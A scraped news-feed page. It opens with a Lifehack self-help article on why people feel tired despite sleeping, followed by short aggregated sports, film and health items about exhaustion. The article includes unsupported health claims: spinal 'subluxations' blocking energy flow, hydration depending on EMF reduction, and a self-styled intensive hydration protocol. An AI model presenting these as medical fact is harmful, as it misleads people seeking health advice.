We all have things that make us feel great and energized and things that completely zap our energy. Maybe you’re someone who likes to move quickly but you’re drowning in detail; maybe you’re someone who thrives when you are on top of things and you’re feeling like everything is completely out of control. Or maybe you thrive on spontaneity and variety and you’re bored with your life.

When I asked my 11-year-old daughter why she thought people are tired even when we get enough rest, here’s what she said.

“Maybe people are bored and so they’re tired.”

Ever wonder why you can’t drag your kid out of bed for school on the weekdays but they pop out of bed on the weekend? Perhaps this is the culprit.

I had a client share this sentiment recently as she described a period of time in her life: “My boss sucked, the work was boring and it made me tired all the time.”

Exactly.

When you’re doing things that align with who you are, in environments that align with what you need, you will feel more energized and alive. On the contrary, when you’re in environments that go against your grain, you will feel drained and de-energized.

What can you do?

Take a step back and identify what’s not working. Figure out what you want and work towards it. Do things that give you energy. What makes you feel healthy and alive, energized and excited? What gets you in the flow and makes you feel most like you? Aim to get more of that in your life.

Find more ways to be in alignment with who you are here .

2. You are out of alignment (physically).

When we are structurally out of alignment, it can cause all sorts of issues. When things aren’t moving properly, it makes it hard for your body to do its job. Not to mention, pain is exhausting and zaps energy. And we are pretty hard on our bodies, aren’t we? We drag them around and tell them what to do. They need to be taken care of too.

Here’s what Chiropractor, Dr. Ruth Ziemba, who specializes in NSA (Network Spinal Analysis) has to say:

All of life is energy. We are energy. Any disturbance or blockages to the energy flow creates imbalances… Physical, mental and emotional stressors can cause subluxations (misalignment of the vertebrae) which interfere with signals getting clearly through your body. This can result in many health problems, including fatigue and insomnia.

Recently, I was feeling more tired than usual – and felt like I was doing “everything else” right. So, I went to see my chiropractor and a cranial sacral therapist. Two days later, I felt much more energized and clear in my head.

I love the analogy I was once given by a chiropractor: “It doesn’t matter how well you can play an instrument if the instrument is out of tune.”

Such is true with our bodies.

What can you do?

Get some body work. This might include getting a massage, acupuncture, chiropractic, reiki, cranial sacral therapy – anything that works for you.

Don’t know where to start? Ask a friend or colleague for a recommendation. Even better if you have a friend in the field who can refer you to another practitioner. And make sure to schedule regular body work, not just when you need it.

3. You are not eating right (or enough).

What – and how much – you eat has a significant effect on your energy levels.

While there are many different diet protocols, there is one thing all the experts can agree on: sugar and processed foods make you feel sluggish and exhausted. They make your blood sugar go haywire, causing you to feel a brief period of energy followed by a crash.

Paradoxically, those are the very things we reach for when we need a hit of energy.

What can you do?

I’ve found two things to be consistently true:

One, you need to eat real, clean food. The food you’re putting into your body is either real or it’s not. Avoid processed foods and especially refined sugars. You’re going to feel so much better for it.

Two, find what works for YOU. Gluten-free, Paleo, Mediterranean, high-fat, plant-based, you name it. Experts and well-meaning friends and family may tell you what’s best, but no one knows your body as well as you do. Pay attention, do you feel energized or fatigued after you eat certain foods? What works – and what doesn’t for YOU? Our bodies have intrinsic wisdom if we are willing to listen – and hear them.

4. You are not really sleeping.

We’ve established that you’re (hopefully) getting enough sleep. But are you getting enough high-quality sleep? Some of the top causes of poor sleep quality include: being on electronics right before bed, interruptions, an uncomfortable mattress or the wrong pillow, grinding your teeth, an inconsistent sleep routine or the fact that you’re not getting through all of the sleep cycles.

What can you do?

Start with the basics: Get off your electronics at least an hour before bed, make sure you have a comfortable pillow and mattress, set a consistent sleep routine, reduce outside noise and sleep in a well-darkened room or wear an eye mask.

If you think you are getting poor quality sleep, do a little more research and see what may be causing the issue and what solutions would work best for you. This article may help you: Poor Sleep Quality Comes from All the Things You Do Since Morning

5. You are stressed or worrying too much.

When you’re stressed, you produce more cortisol (the stress hormone), which can significantly affect your sleep.[1] This is why one of the common side effects of stress is sleep problems.

On top of stress hormones, excessive worry can drain your energy. When you worry, you’re using energy. It’s like when you have an app on your phone that takes up a lot of battery and you have it constantly running the background, your battery will drain more quickly. Such is true with worry and stress.

I think of this very simply. We all start the day with 100 units of energy to use throughout the day. If you’re using half of your energy units worrying, you’re inevitably going to be tired.

What can you do?

Find things that reduce your stress levels. I’ve seen clients have great success with yoga, meditation and exercise. Worrying too much? Get a clear plan in place to take action on what’s worrying you.

6. You are not breathing deeply enough.

Deep breathing increases circulation by bringing oxygen to your muscles and brain. This increased oxygen content in the bloodstream leads to greater energy and healthier muscles, organs and tissues.

To highlight the benefits of deep breathing, I reached out to longtime Yoga Instructor & Ayurveda Wellness Counselor, Vivica Schwartz. Here’s what she shared:[2]

“Most people breathe in to the chest only (shallow breathing) and don’t allow the breath to reach deeper into the abdominal region, due to stress and anxiety. Shifting the breath down, so that it expands the belly (and all the muscles that comprise the diaphragm) is one of the best ways to shift our awareness, quiet the mind, release tension and increase our energy levels”.

What happened when you started to read this one? Did you start breathing more deeply? Great, you’re already on your way.

What can you do?

Make a conscious effort to breathe deeply, more often. Try this from Vivica:

  1. Place one hand on your chest and the other on your lower belly.
  2. Breath smoothly in and out through the nose, noticing how your breath expands three-dimensionally in the ribcage.
  3. Now begin to shift the inhalation into the lower abdomen first, so that the lower hand rises first, then fill the chest area.
  4. Reverse the process on the exhalation, emptying the chest area first, then the lower belly.
  5. Continue like this for a few rounds, visualizing the diaphragm contracting and pushing down and expanding the belly area.

7. You are hanging out with the wrong crowd.

Have you ever known someone who “sucks the life out of you”? After spending time together, you feel tired, drained and exhausted? “Energy vampires” do just that, they suck your energy. It doesn’t matter how much sleep you’re getting; if you’re spending time with people who drain your energy, you’re going to feel tired.

What can you do?

Grab some garlic and your stake and ditch the energy vampires. Make a conscious effort to hang out with people who feed your soul and make you feel energized and alive.

If you need a little help to spot these people out, here it is: 15 Signs Of Negative People

8. You are not moving.

There’s been a lot of research conducted over many years that shows physical activity and exercise improves energy and decreases fatigue.

In a widely acknowledged 2006 study published in Psychological Bulletin, researchers analyzed 70 studies on exercise and fatigue which involved more than 6,800 people. Over 90% of the studies showed the same thing: Sedentary people who completed a regular exercise program reported improved fatigue compared to those that did not exercise.

What can you do?

Get moving! Find ways to increase your exercise and movement. General guidelines are 150 minutes per week of moderate exercise or 75 minutes per week of vigorous activity (or a combination of the two). This can be as simple as taking the stairs instead of the elevator, walking 20 minutes a day or participating in a sport you enjoy.

Here’re some tips for you: How to Instantly Fall in Love With Moving and Start Shaking off the Extra Pounds

9. You are dehydrated.

The human body is composed of 50-65% water. Some parts of our bodies, like our brain, heart and lungs are more than 70% water. This means even mild dehydration can cause your energy levels to fall.

Fatigue is a telltale sign you are dehydrated. In fact, in a survey of 300 doctors in the UK, 1 in 5 patients who saw their doctor for symptoms such as fatigue and tiredness simply weren’t drinking enough water.

What can you do?

First and foremost, drink enough water. A simple rule of thumb is eight 8-ounce glasses per day. And before you reach for your coffee in the morning, reach for a glass of water first.

However, Doctor and hydration expert Dr. Zach Bush noted,

“Proper hydration is not simply infusing your body with water. More specifically, it’s about getting the water inside your cells. To do that, you need to improve the electrical charges across your cellular membranes. Strategies that improve the electrical charge across your membranes include: reducing EMF (electromagnetic field) exposure, increasing electrolytes, and boosting your fiber intake.”

So, try this intensive hydration protocol: Drink 4 ounces of water every 30 minutes from 7am-7pm for 3 days. During this intense hydration, add electrolytes to every other 4-ounce dose. Then give your body a break from food and water between 7pm and 7am.

Learn more about intracellular hydration with Dr. Bush here .

10. You are too busy.

You know the saying, “If you want something done, ask a busy person.” I say, leave the busy person alone. They clearly have enough on their plate.

I work with many clients, especially moms, who wonder why they are so tired all the time. When I ask them to tell me about “a day in their life”, I get something like this: 6am wake-up , exercise, get the kids off to school, work, drive to after-school activities, get dinner on the table, do hosework, coordinate schedules, bath and bed time (for the kids of course), and then back to work after the kids go to bed. And they wonder why they are tired?

I get it. I’ve been there and I have to be careful of this myself. As a working mom of three young girls, who also wants to be social and active in my community, I know all too well the life of being busy. I’ve had to reign it in, create strategies and make very conscious decisions.

What can you do?

Look at your life as an outside observer or “fly on the wall”. What do you notice? Maybe you need to learn to say no? Perhaps you need to take a step back and identify what’s most important? Or set better boundaries? Perhaps you need to delegate more, outsource or just get some stuff off YOUR plate! Take just ONE thing and start from there.

If you’re a working mom, some advice for you here: 13 Ways Working Moms Can Balance Work and Family (And Be Happy)

11. There is something else going on.

If you’ve tried everything above, you are getting enough sleep and you are still tired, you may want to see your doctor or healthcare professional to uncover any underlying issues. Amongst other things, causes could include medication side effects and other health concerns including thyroid and adrenal dysfunction, anemia and sleep apnea.

What can you do?

See your doctor. Seriously. Make an appointment. If you’re sleeping enough and doing all the “right” things above and you still feel tired, it’s important to identify what could be the cause.

Live with energy again (from now on!)

If you’re sleeping enough and still find yourself tired and exhausted all the time, it’s time to step back and see which of these reasons resonate with you.

In order to get a different result, you have to DO something differently. In order to be more energized and less exhausted, you’re going to need to make some changes.

What changes will you make? Are you going to eat better, exercise more, stay hydrated, take something off your plate, reassess the job you hate or relationship that’s draining you?

Take a few minutes right now and think of 1-3 things you’re going to try. Write them down in your journal, on your phone or send an email to yourself.

Change takes action and it’s time for change. You’ve got this. Take action now and your energy levels will be glad you did!

Reference

[1] ^ Dr. Doni: How Cortisol Affects Your Sleep
[2] ^ Vivica Schwartz,Yoga Instructor & Ayurveda Wellness Counselor

The post The Real Reason You Feel Exhausted (And How to Be Energetic Again) appeared first on Lifehack.

]]> https://briefnews.eu/the-real-reason-you-feel-exhausted-and-how-to-be-energetic-again/feed/ 0 Autism parents ‘exhausted’ with long waits for Ontario’s new program https://briefnews.eu/autism-parents-exhausted-with-long-waits-for-ontarios-new-program/ https://briefnews.eu/autism-parents-exhausted-with-long-waits-for-ontarios-new-program/#respond Fri, 27 Apr 2018 22:47:17 +0000 http://briefnews.eu/autism-parents-exhausted-with-long-waits-for-ontarios-new-program/ Lennon

Jessica Szucki’s three young children with autism have waited nearly 12 months to take advantage of the province’s new program – and they’re still waiting.

]]> https://briefnews.eu/autism-parents-exhausted-with-long-waits-for-ontarios-new-program/feed/ 0 Confused, exhausted but McMahon nails it for Diamonds https://briefnews.eu/confused-exhausted-but-mcmahon-nails-it-for-diamonds/ https://briefnews.eu/confused-exhausted-but-mcmahon-nails-it-for-diamonds/#respond Fri, 23 Mar 2018 17:52:05 +0000 http://briefnews.eu/confused-exhausted-but-mcmahon-nails-it-for-diamonds/ THE gold medal match for netball at the 2002 Commonwealth Games in Manchester is remembered for being one of the greatest matches in the sport’s history.

But the first thing that Diamonds star Sharelle McMahon recalls is the physical and emotional rollercoaster of the sudden-death double overtime thriller that saw Australia triumph over archrival New Zealand.

McMahon — who was battling an ankle injury — hit the shot that gave the Diamonds the decisive two-goal margin for Australia to claim gold after the 84-minute slugfest against the Silver Ferns.

McMahon was part of the Australian side that won the gold medal in 1998 in Kuala Lumpur when the Diamonds saluted in netball’s debut at the Commonwealth Games.

The hard-fought three-goal win over New Zealand in Malaysia seemed like a cakewalk compared to the drama in Manchester.

“So much comes rushing back, Manchester was a fantastic host city and the actual final itself was incredible,’’ she said.

“There was about 10,000 people in the stadium and it was the last medal awarded so everyone was in party mode — for everyone watching at least — which meant the atmosphere was amazing.

“There was just this constant level of noise for the whole match. It was back-end-forth, we played well, they played well. There was just nothing in it.

“We were already spent at the end of regulation time when the scores were tied.

“So much emotional energy had gone into it.

“You are exhausted, you are in pain but you have to get out there for extra-time and go again and keep fighting.’’

It was 46-all at the end of the fourth quarter, 54-all at the end of the first period of overtime with a final score of 57-55 after McMahon’s matchwinner.

McMahon — who hit a total of 33 goals in the 2002 decider — was lucky to even be on the court.

“I rolled my ankle a couple of days before the final and was doing everything I could — getting injections, taking painkillers, getting it iced around the clock but I felt good when the game started,’’ she said.

“But I was struggling to walk by the end of the game because the painkillers had worn off.’’

Confusion reigned supreme at the end of regulation time.

Extra time included two periods of seven minutes.

If the scores were tied at the end of the second lot of seven minutes, the game rolled straight into sudden-death with one team needing to win by two goals.

“We couldn’t hear anything. It was deafening. We didn’t know how much time was left and didn’t know we had gone into double-extra-time,’ McMahon said.

“We didn’t know what was going on. The people on the bench were holding up two fingers. We thought there was two minutes to go but they were trying to tell us it was two goals.

“It was confusing and frantic and just so tense. It was the first time we’d experienced a sudden-death double extra-time.’’

With ball in hand for the gold medal-winning shot, McMahon had to endure one last delay.

“Time was held so sweat could be wiped off the floor. I was standing there knowing that the next shot I was going to take was for the gold … no pressure,’’ she said.

“Time got blown back on after the delay, I put up the shot and it went through.

“There was just an incredible rush of emotion after that.’’

Coached by Jill McIntosh and also featuring the likes of Liz Ellis, Catherine Cox and Kathryn Harby-Williams, the Diamonds swept all before them in the pool rounds at Manchester and disposed of the home nation in the semi-final before taking on the Silver Ferns for gold.

FLASHBACK: Mile of the Century billing lived up to promise

FLASHBACK: Shy kid who swam into Australia’s hearts

McMahon went on to compete at the 2006 Commonwealth Games in her hometown of Melbourne while she was on the wrong end of a sudden-death double overtime gold medal game in Delhi in 2010 when New Zealand won a nailbiter.

The 118-Test veteran and two-time World Cup winner expects the netball competition on the Gold Coast next month to be the most open race for medals ever.

“In the Quad Series involving Australia, New Zealand, England and South Africa, there were some very tight games with some really interesting results. England is very close to the Diamonds and Silver Ferns,’’ she said.

“South Africa is coming through too under Norma Plummer who has worked wonders. They’ll be pushing the top teams.’’

Let’s block ads! (Why?)

]]> https://briefnews.eu/confused-exhausted-but-mcmahon-nails-it-for-diamonds/feed/ 0 What it’s like to have Chronic Fatigue Syndrome, an illness that makes you feel exhausted all the time https://briefnews.eu/what-its-like-to-have-chronic-fatigue-syndrome-an-illness-that-makes-you-feel-exhausted-all-the-time/ https://briefnews.eu/what-its-like-to-have-chronic-fatigue-syndrome-an-illness-that-makes-you-feel-exhausted-all-the-time/#respond Thu, 22 Mar 2018 12:02:26 +0000 http://briefnews.eu/what-its-like-to-have-chronic-fatigue-syndrome-an-illness-that-makes-you-feel-exhausted-all-the-time/ Tired woman at deskShutterstock/Kite_rin

  • Living with CFS feels like being tired all the time — but it’s so much more than being tired.
  • The illness is thought to affect at least 17 million people worldwide, and four times as many women as men.
  • It’s normally triggered by viral infections like glandular fever, and can last a lifetime.
  • It can come along with headaches and a foggy brain, making simple tasks difficult.
  • While a 2011 trial suggested CFS can be helped with exercise or psychological therapy, a new analysis of the study found that there are actually no longer-term benefits of either.

After months of struggling both mentally and physically to do simple tasks, dealing with a constantly foggy brain and serious exhaustion that wouldn’t go away no matter how much I slept, a doctor told me I had Chronic Fatigue Syndrome (CFS).

Having never heard of it, my response was skeptical, and somewhat annoyed — similar to when you’re told “it’s only a virus” after having a miserable cold for weeks on end.

See the rest of the story at Business Insider

NOW WATCH: The surprising reason why NASA hasn’t sent humans to Mars yet

See Also:

SEE ALSO: There’s a debilitating illness that makes you feel exhausted all the time — and we know very little about it

DON’T MISS: I’ve been on antidepressants for a decade — here’s what everyone gets wrong about them

]]> https://briefnews.eu/what-its-like-to-have-chronic-fatigue-syndrome-an-illness-that-makes-you-feel-exhausted-all-the-time/feed/ 0 ‘Tully’ Trailer: Charlize Theron is an Exhausted Mom Who Needs a Break https://briefnews.eu/tully-trailer-charlize-theron-is-an-exhausted-mom-who-needs-a-break/ https://briefnews.eu/tully-trailer-charlize-theron-is-an-exhausted-mom-who-needs-a-break/#respond Thu, 11 Jan 2018 18:26:35 +0000 http://briefnews.eu/tully-trailer-charlize-theron-is-an-exhausted-mom-who-needs-a-break/ Tully Trailer - Charlize Theron

We’ve seen Charlize Theron play everything from a rough-looking serial killer to the commander of a tribe of post-apocalyptic warriors to a badass secret agent. Now we’re going to see her absolutely exhausted as a mother of three children just doing her best to get by.

Tully follows Charlize Theron as Marlo, a mother who barely makes it through each day, taking care of a newborn, doing laundry, cooking dinner, breast-pumping and more. Theron looks pretty worse for wear, but some help comes knocking on her door in the form of Mackenzie Davis.

Tully Trailer

Some real mothers out there might find it hard to accept Charlize Theron as a woman run ragged by her children since she’s the poster child for a Dior fragrance that literally paints her as a golden goddess, but let’s not forget that Theron is a single mother of two herself.

Even in this teaser trailer alone, Theron does a great job of pulling sympathy as she trudges through every minute of what must feel like the longest day ever every single day. Not helping matters is Ron Livingston, who is less than impressed that they’re having frozen pizza for dinner. Even though the trailer says this movie is about motherhood in 2018, this will surely resonate with plenty of parents in general out there, whether they’re mothers or fathers.

Thankfully, Theron is about to get a reprieve from our titular character, a night nanny named Tully (Davis), who has been summoned by Marlo’s brother (played by Mark Duplass).

Hopefully, this doesn’t take the predictable indie movie turn where Tully becomes the object of affection for Marlo’s husband, thereby creating problems in the relationship while also bringing out realizations about life for our main characters. Director Jason Reitman and writer Diablo Cody (the duo behind Juno and Young Adult) usually don’t stray into cliched areas for their collaborations, so it would be nice if they could avoid that trope.

A new comedy from Academy Award®-nominated director Jason Reitman (“Up in the Air”) and Academy Award®-winning screenwriter Diablo Cody (“Juno”). Marlo (Academy Award® winner Charlize Theron), a mother of three including a newborn, is gifted a night nanny by her brother (Mark Duplass). Hesitant to the extravagance at first, Marlo comes to form a unique bond with the thoughtful, surprising, and sometimes challenging young nanny named Tully (Mackenzie Davis).

Tully opens April 20, 2018.

The post ‘Tully’ Trailer: Charlize Theron is an Exhausted Mom Who Needs a Break appeared first on /Film.

]]> https://briefnews.eu/tully-trailer-charlize-theron-is-an-exhausted-mom-who-needs-a-break/feed/ 0 Chelsea news: Antonio Conte claims Blues stars are exhausted because of bigwigs https://briefnews.eu/chelsea-news-antonio-conte-claims-blues-stars-are-exhausted-because-of-bigwigs/ https://briefnews.eu/chelsea-news-antonio-conte-claims-blues-stars-are-exhausted-because-of-bigwigs/#respond Mon, 11 Dec 2017 22:50:06 +0000 http://briefnews.eu/chelsea-news-antonio-conte-claims-blues-stars-are-exhausted-because-of-bigwigs/

Conte, whose side were given a tough Champions League tie yesterday when drawn against Barcelona in the last 16, is unhappy that his squad are so tired, with Alvaro Morata forced to miss tonight’s trip to Huddersfield after being the latest to suffer with fatigue. 

And he has pointed to the summer tour of Asia as a reason they are so shattered. In another thinly veiled dig, he was also keen to insist that he is the club’s head coach and transfers are not his responsibility.

“It’s difficult because to face a game every three days is not simple, especially if your squad is not big, but at the same time we have to face this situation.

“We have to try to do our best. Some players can be tired, that’s normal because some players are playing from this summer and our tours in China and Singapore.”

When asked if the January transfer window can dig Chelsea out of a hole, Conte said: “I don’t know because in January you have to wait the right time to adapt new players in our idea of football.

“I have to be realistic, we have to face this situation with these players. I’m happy to play with these players. January is too far and I don’t know what will happen on January.

“I’m the coach, I can give my opinion, but the club has to take the best decision in the summer, in January, next summer.

“We can have an idea but you can have an idea in summer. But the final decision is always the clubs. That will be the same in January. It is right to do this, I’m only the coach and not sporting director or manager.”

Confirming Morata’s absence tonight, Conte said: “Morata is out, because he’s a bit tired and there is a problem in his back. He is out.”

And on Barcelona, Conte added: “We have to face the reality and will try to do our best. If I stay here to complain it is not the right way.”

Perhaps the tie of the round, however is Real Madrid, who have been drawn against Paris Saint-Germain.

Let’s block ads! (Why?)

Daily Express :: Sport Feed

]]> https://briefnews.eu/chelsea-news-antonio-conte-claims-blues-stars-are-exhausted-because-of-bigwigs/feed/ 0 22 Tweets For Everyone Who Is Fucking Exhausted But Keeping Their Head Up https://briefnews.eu/22-tweets-for-everyone-who-is-fucking-exhausted-but-keeping-their-head-up/ https://briefnews.eu/22-tweets-for-everyone-who-is-fucking-exhausted-but-keeping-their-head-up/#respond Tue, 12 Sep 2017 23:14:26 +0000 http://briefnews.eu/22-tweets-for-everyone-who-is-fucking-exhausted-but-keeping-their-head-up/ [unable to retrieve full-text content]

“All I do is say ‘no worries’ and worry about things.”

View Entire Post ›

BuzzFeed – Latest

]]> https://briefnews.eu/22-tweets-for-everyone-who-is-fucking-exhausted-but-keeping-their-head-up/feed/ 0 Juggling act: School, athletics left middle-distance runner McBride exhausted https://briefnews.eu/juggling-act-school-athletics-left-middle-distance-runner-mcbride-exhausted/ https://briefnews.eu/juggling-act-school-athletics-left-middle-distance-runner-mcbride-exhausted/#respond Tue, 05 Sep 2017 23:11:06 +0000 http://briefnews.eu/juggling-act-school-athletics-left-middle-distance-runner-mcbride-exhausted/

Brandon McBride’s rookie season as a professional middle-distance runner, filled with big expectations, stress and success, quickly became a lesson in how to balance academics and athletics.

After graduating from Mississippi State University last year with a bachelor’s degree in business administration, McBride enrolled in a master’s program in public administration at his alma mater.

“I took on too much earlier in the season with my assistantship, internship and my graduate program. It took much more than I thought out of me,” McBride, 23, told CBC Sports recently.

A season of travel competing on the Diamond League circuit, racing at the Canadian track and field championships and debuting at the world championships left the Windsor, Ont., native mentally and emotionally exhausted and unable to compete for a Diamond League Trophy and $ 50,000 US in Brussels last Friday.

Brandon McBride uncertain about running in Diamond League Final1:40

With an eye toward the Commonwealth Games next April, McBride opted to call it a season after consulting with his coach Chris Scarrow and agent John Regis shortly after finishing fourth at a Diamond League meet in Birmingham, England on Aug. 20.

“I am the type of person that if I’m going to do something, I want to approach it with 100 per cent effort,” said McBride, an aspiring corporate lawyer.

“My heart wouldn’t have been in it [in Brussels] because of the accumulation of fatigue. Who am I to rob an opportunity for someone else?”

A month after stopping the clock in one minute 46.69 seconds in the 800 metres at the Golden Gala in Rome, McBride went 1:45.23 to win the men’s title at the Canadian championships in Ottawa on July 8.

He also led midway through the Aug. 8 world final in London, England before fading and finishing eighth in 1:47.09.

“I think people forget this was my first world championships,” said McBride, who placed 14th in his Olympic debut last summer in Rio de Janeiro. “It was different going to these meets as a collegiate. The expectations aren’t as high because you’re still considered young, in a sense.

Canada’s Brandon McBride finishes 8th in 800m at World Championships5:52

“As a professional, you have sponsors and depending on what the athlete and sponsor have agreed to, it can be very stressful.”

McBride ran a season-best 1:44.41 at Diamond League Monaco on July 21 to inch closer to Gary Reed’s Canadian mark of 1:43.68, an accomplishment that won’t top the 2014 NCAA champion’s priority list for 2018.

“What I focus on is bettering myself day by day and year by year,” said McBride, whose personal best of 1:43.95 was set at the London Muller Anniversary Games in July 2016. “The experience I gained from racing this year was huge.

“Even though I didn’t obtain a PB [personal best], if I continue to progress, anything is possible.” 

Let’s block ads! (Why?)

CBC | Sports News

]]> https://briefnews.eu/juggling-act-school-athletics-left-middle-distance-runner-mcbride-exhausted/feed/ 0 Laura Muir left EXHAUSTED on track after 5000m heat at World Athletics Championships 2017 https://briefnews.eu/laura-muir-left-exhausted-on-track-after-5000m-heat-at-world-athletics-championships-2017/ https://briefnews.eu/laura-muir-left-exhausted-on-track-after-5000m-heat-at-world-athletics-championships-2017/#respond Thu, 10 Aug 2017 18:31:16 +0000 http://briefnews.eu/laura-muir-left-exhausted-on-track-after-5000m-heat-at-world-athletics-championships-2017/

Muir missed out on 1500m bronze by the slimmest of margins on Monday night but nevertheless turned up on Thursday for her second event, which would see her run her very first outdoor 5k race of the year.

The Scot kept pace with the field for the majority of the first heat but tired badly later on, coming home just under the 15-minute mark with the five automatic qualifiers well ahead of her.

She was left splayed on the track and appeared in serious discomfort, sparking fears in the commentary box that she might have been struggling with fatigue and mental exhaustion after the 1500m.

But after getting her breath back, Muir was able to speak to trackside interviewers and reckoned she had moved on from Monday’s disappointment.

“Mentally, I was fine. I just had to put the 1500m behind me,” Muir said.

“Reflecting on it, I was fourth in the world.

“I felt recovered from the 1500 but it was just the last lap that the legs just went. I’ve got three days to recover now.”

Muir has not had an ideal preparation for the championships, having suffered an Achilles injury just two months ago that left her unable to train for several weeks.

And it appeared to be taking its toll as fell away in the closing stages of the race.

“I was worried that maybe her Achilles was hurting her,” said former Team GB distance runner Paula Radcliffe.

However, Muir appeared to have no problems with injury afterwards and was optimistic she would be back on Sunday for the final.

“I went into this race really positive that I could get that automatic qualifying, so I’ll go into the final positive that I can do well there,” Muir added.

Let’s block ads! (Why?)

Daily Express :: Sport Feed

]]> https://briefnews.eu/laura-muir-left-exhausted-on-track-after-5000m-heat-at-world-athletics-championships-2017/feed/ 0